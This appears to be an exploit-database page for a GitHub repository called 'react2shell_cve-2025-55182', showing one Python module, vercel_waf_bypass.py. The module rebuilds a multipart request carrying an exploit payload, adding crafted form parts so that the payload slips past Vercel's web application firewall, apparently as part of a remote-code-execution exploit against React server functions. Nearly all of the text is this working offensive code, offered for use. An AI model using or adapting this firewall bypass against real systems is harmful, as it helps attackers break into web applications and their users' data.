Exploit databaseDownload repository ZIP
GH-14f54ef2fa4ef0df0694831c29b20ae2
yanoshercohen/react2shell_cve-2025-55182
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
yanoshercohen/react2shell_cve-2025-55182Revision d0ff8fc2e486
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
waf_modules/vercel_waf_bypass.py
Python · 1,257 bytesimport json
import re
def modify_request(body, headers):
match = re.search(rb'\r\nContent-Disposition: form-data; name="0"\r\n\r\n(.*?)\r\n--', body, re.DOTALL)
if not match:
return body, headers
original_payload_json_str = match.group(1).decode('utf-8')
try:
original_payload_map = json.loads(original_payload_json_str)
except json.JSONDecodeError:
return body, headers
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
part0_content = original_payload_json_str
vercel_body_parts = [
f'--{boundary}',
'Content-Disposition: form-data; name="0"',
'',
part0_content,
f'--{boundary}',
'Content-Disposition: form-data; name="1"',
'',
'"$@0"',
f'--{boundary}',
'Content-Disposition: form-data; name="2"',
'',
'[]',
f'--{boundary}',
'Content-Disposition: form-data; name="3"',
'',
'{"\\"\u0024\u0024":{}}',
f'--{boundary}--',
''
]
vercel_body = '\r\n'.join(vercel_body_parts).encode('utf-8')
vercel_headers = headers.copy()
vercel_headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
return vercel_body, vercel_headers